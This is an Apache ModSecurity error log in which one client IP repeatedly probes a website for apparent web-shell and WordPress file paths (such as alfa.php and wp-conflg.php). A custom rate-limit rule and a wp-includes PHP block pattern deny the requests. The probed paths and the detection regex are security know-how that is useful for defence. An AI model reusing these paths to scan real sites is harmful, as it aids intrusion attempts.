[Fri Feb 13 18:59:19.960313 2026] [:error] [pid 47575:tid 47594] [client 51.103.136.17:50949] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY8EBwIPBuXb07mA_mS8AAAAAs0"]
[Fri Feb 13 18:59:20.440790 2026] [:error] [pid 47143:tid 47225] [client 51.103.136.17:39349] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY8ECMhV30NbMarHJLs5qAAAAks"]
[Fri Feb 13 18:59:20.913663 2026] [:error] [pid 18097:tid 18107] [client 51.103.136.17:48660] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY8ECHFzYiQ_BfaDDlYiIwAAAYg"]
[Fri Feb 13 18:59:21.389583 2026] [:error] [pid 49335:tid 49337] [client 51.103.136.17:43622] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8ECap--SFY2nwOiqlfTwAAAMA"]
[Fri Feb 13 18:59:21.860603 2026] [:error] [pid 47575:tid 47605] [client 51.103.136.17:36410] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8ECQIPBuXb07mA_mS8AgAAAtg"]
[Fri Feb 13 18:59:22.374481 2026] [:error] [pid 47080:tid 47088] [client 51.103.136.17:25552] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8ECkbWJwYCVF39z6sz1wAAAcA"]
[Fri Feb 13 18:59:22.861009 2026] [:error] [pid 47080:tid 47108] [client 51.103.136.17:51007] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8ECkbWJwYCVF39z6sz2QAAAdQ"]
[Fri Feb 13 18:59:23.341566 2026] [:error] [pid 46821:tid 46832] [client 51.103.136.17:20611] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8EC46G1N5YSq0J0gcIOAAAAUk"]
[Fri Feb 13 18:59:23.823931 2026] [:error] [pid 47575:tid 47587] [client 51.103.136.17:30771] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8ECwIPBuXb07mA_mS8BgAAAsc"]
[Fri Feb 13 18:59:24.315136 2026] [:error] [pid 47575:tid 47602] [client 51.103.136.17:20009] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8EDAIPBuXb07mA_mS8CAAAAtU"]
[Fri Feb 13 18:59:24.790686 2026] [:error] [pid 18097:tid 18121] [client 51.103.136.17:19987] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY8EDHFzYiQ_BfaDDlYiJAAAAZY"]
[Fri Feb 13 18:59:25.266723 2026] [:error] [pid 47575:tid 47596] [client 51.103.136.17:51037] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aY8EDQIPBuXb07mA_mS8CgAAAs8"]
[Fri Feb 13 18:59:25.796836 2026] [:error] [pid 18097:tid 18110] [client 51.103.136.17:42229] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aY8EDXFzYiQ_BfaDDlYiKAAAAYs"]
[Fri Feb 13 18:59:26.288071 2026] [:error] [pid 18097:tid 18103] [client 51.103.136.17:61095] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aY8EDnFzYiQ_BfaDDlYiKgAAAYQ"]
[Fri Feb 13 18:59:26.811587 2026] [:error] [pid 51243:tid 51257] [client 51.103.136.17:46015] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aY8EDsim7ZTAHzi7xZvCIwAAAQw"]
[Fri Feb 13 18:59:27.301084 2026] [:error] [pid 47575:tid 47604] [client 51.103.136.17:53487] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EDwIPBuXb07mA_mS8DQAAAtc"]
[Fri Feb 13 18:59:27.780445 2026] [:error] [pid 47143:tid 47227] [client 51.103.136.17:53638] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8ED8hV30NbMarHJLs5rgAAAk0"]
[Fri Feb 13 18:59:28.256742 2026] [:error] [pid 18097:tid 18117] [client 51.103.136.17:44518] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EEHFzYiQ_BfaDDlYiLQAAAZI"]
[Fri Feb 13 18:59:28.731187 2026] [:error] [pid 46821:tid 46836] [client 51.103.136.17:39285] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EEI6G1N5YSq0J0gcIPQAAAU0"]
[Fri Feb 13 18:59:29.228164 2026] [:error] [pid 46821:tid 46829] [client 51.103.136.17:61112] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aY8EEY6G1N5YSq0J0gcIPwAAAUY"]
[Fri Feb 13 18:59:29.707397 2026] [:error] [pid 47080:tid 47091] [client 51.103.136.17:37693] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aY8EEUbWJwYCVF39z6sz6QAAAcM"]
[Fri Feb 13 18:59:30.224591 2026] [:error] [pid 47575:tid 47585] [client 51.103.136.17:39233] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aY8EEgIPBuXb07mA_mS8EgAAAsU"]
[Fri Feb 13 18:59:30.702671 2026] [:error] [pid 47080:tid 47090] [client 51.103.136.17:57611] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aY8EEkbWJwYCVF39z6sz7wAAAcI"]
[Fri Feb 13 18:59:31.177074 2026] [:error] [pid 47575:tid 47596] [client 51.103.136.17:31458] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aY8EEwIPBuXb07mA_mS8FwAAAs8"]
[Fri Feb 13 18:59:31.681153 2026] [:error] [pid 47575:tid 47600] [client 51.103.136.17:61183] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aY8EEwIPBuXb07mA_mS8GwAAAtM"]
[Fri Feb 13 18:59:32.154871 2026] [:error] [pid 46821:tid 46838] [client 51.103.136.17:53383] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aY8EFI6G1N5YSq0J0gcIQQAAAU8"]
[Fri Feb 13 18:59:32.664038 2026] [:error] [pid 47575:tid 47603] [client 51.103.136.17:53106] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aY8EFAIPBuXb07mA_mS8JQAAAtY"]
[Fri Feb 13 18:59:33.163901 2026] [:error] [pid 51243:tid 51260] [client 51.103.136.17:45411] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aY8EFcim7ZTAHzi7xZvCJgAAAQ8"]
[Fri Feb 13 18:59:33.653917 2026] [:error] [pid 47358:tid 47382] [client 51.103.136.17:39238] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aY8EFcQFBuVVUQTESUwIBQAAApA"]
[Fri Feb 13 18:59:34.173512 2026] [:error] [pid 47575:tid 47600] [client 51.103.136.17:61166] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aY8EFgIPBuXb07mA_mS8JgAAAtM"]
[Fri Feb 13 18:59:34.709246 2026] [:error] [pid 49223:tid 49236] [client 51.103.136.17:60349] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aY8EFh8A_fZBamNLnfVNAQAAAAQ"]
[Fri Feb 13 18:59:35.273055 2026] [:error] [pid 47575:tid 47601] [client 51.103.136.17:31465] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY8EFwIPBuXb07mA_mS8KQAAAtQ"]
[Fri Feb 13 18:59:35.837939 2026] [:error] [pid 46821:tid 46835] [client 51.103.136.17:58201] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY8EF46G1N5YSq0J0gcIRgAAAUw"]
[Fri Feb 13 18:59:36.338797 2026] [:error] [pid 51243:tid 51252] [client 51.103.136.17:53438] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY8EGMim7ZTAHzi7xZvCJwAAAQc"]
[Fri Feb 13 18:59:36.834573 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:61133] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY8EGEbWJwYCVF39z6s0AQAAAdI"]
[Fri Feb 13 18:59:37.314423 2026] [:error] [pid 49223:tid 49239] [client 51.103.136.17:5914] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aY8EGR8A_fZBamNLnfVNBQAAAAc"]
[Fri Feb 13 18:59:37.823625 2026] [:error] [pid 47358:tid 47378] [client 51.103.136.17:60316] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aY8EGcQFBuVVUQTESUwIBwAAAow"]
[Fri Feb 13 18:59:38.329112 2026] [:error] [pid 51243:tid 51249] [client 51.103.136.17:39293] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aY8EGsim7ZTAHzi7xZvCKgAAAQQ"]
[Fri Feb 13 18:59:38.830609 2026] [:error] [pid 47143:tid 47218] [client 51.103.136.17:48273] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aY8EGshV30NbMarHJLs5ugAAAkQ"]
[Fri Feb 13 18:59:39.305693 2026] [:error] [pid 47575:tid 47581] [client 51.103.136.17:31477] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY8EGwIPBuXb07mA_mS8LQAAAsI"]
[Fri Feb 13 18:59:39.816849 2026] [:error] [pid 47358:tid 47387] [client 51.103.136.17:53000] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY8EG8QFBuVVUQTESUwICgAAApU"]
[Fri Feb 13 18:59:45.566723 2026] [:error] [pid 49225:tid 49311] [client 51.103.136.17:61180] [client 51.103.136.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aY8EITwH8-zGxtAd3jv92AAAAJE"]
[Fri Feb 13 18:59:47.091812 2026] [:error] [pid 49335:tid 49347] [client 51.103.136.17:34777] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aY8EI6p--SFY2nwOiqlfZgAAAMo"]
[Fri Feb 13 18:59:47.607495 2026] [:error] [pid 46821:tid 46823] [client 51.103.136.17:51961] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aY8EI46G1N5YSq0J0gcIVwAAAUA"]
[Fri Feb 13 18:59:48.119574 2026] [:error] [pid 49225:tid 49318] [client 51.103.136.17:51945] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aY8EJDwH8-zGxtAd3jv92gAAAJg"]
[Fri Feb 13 18:59:48.622565 2026] [:error] [pid 47575:tid 47587] [client 51.103.136.17:26150] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aY8EJAIPBuXb07mA_mS8NwAAAsc"]
[Fri Feb 13 18:59:49.128291 2026] [:error] [pid 51243:tid 51250] [client 51.103.136.17:51911] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aY8EJcim7ZTAHzi7xZvCMQAAAQU"]
[Fri Feb 13 18:59:49.619311 2026] [:error] [pid 49223:tid 49253] [client 51.103.136.17:44027] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aY8EJR8A_fZBamNLnfVNHwAAABU"]
[Fri Feb 13 18:59:50.136655 2026] [:error] [pid 47575:tid 47594] [client 51.103.136.17:29805] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aY8EJgIPBuXb07mA_mS8OQAAAs0"]
[Fri Feb 13 18:59:50.653840 2026] [:error] [pid 18097:tid 18110] [client 51.103.136.17:51946] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aY8EJnFzYiQ_BfaDDlYiPwAAAYs"]
[Fri Feb 13 18:59:51.177442 2026] [:error] [pid 49225:tid 49312] [client 51.103.136.17:61092] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aY8EJzwH8-zGxtAd3jv93AAAAJI"]
[Fri Feb 13 18:59:51.686797 2026] [:error] [pid 51243:tid 51264] [client 51.103.136.17:56028] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aY8EJ8im7ZTAHzi7xZvCNgAAARM"]
[Fri Feb 13 18:59:52.301247 2026] [:error] [pid 51243:tid 51267] [client 51.103.136.17:40166] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aY8EKMim7ZTAHzi7xZvCNwAAARY"]
[Fri Feb 13 18:59:52.863939 2026] [:error] [pid 47358:tid 47386] [client 51.103.136.17:55357] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aY8EKMQFBuVVUQTESUwIFwAAApQ"]
[Fri Feb 13 18:59:53.483664 2026] [:error] [pid 46821:tid 46825] [client 51.103.136.17:39669] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aY8EKY6G1N5YSq0J0gcIWgAAAUI"]
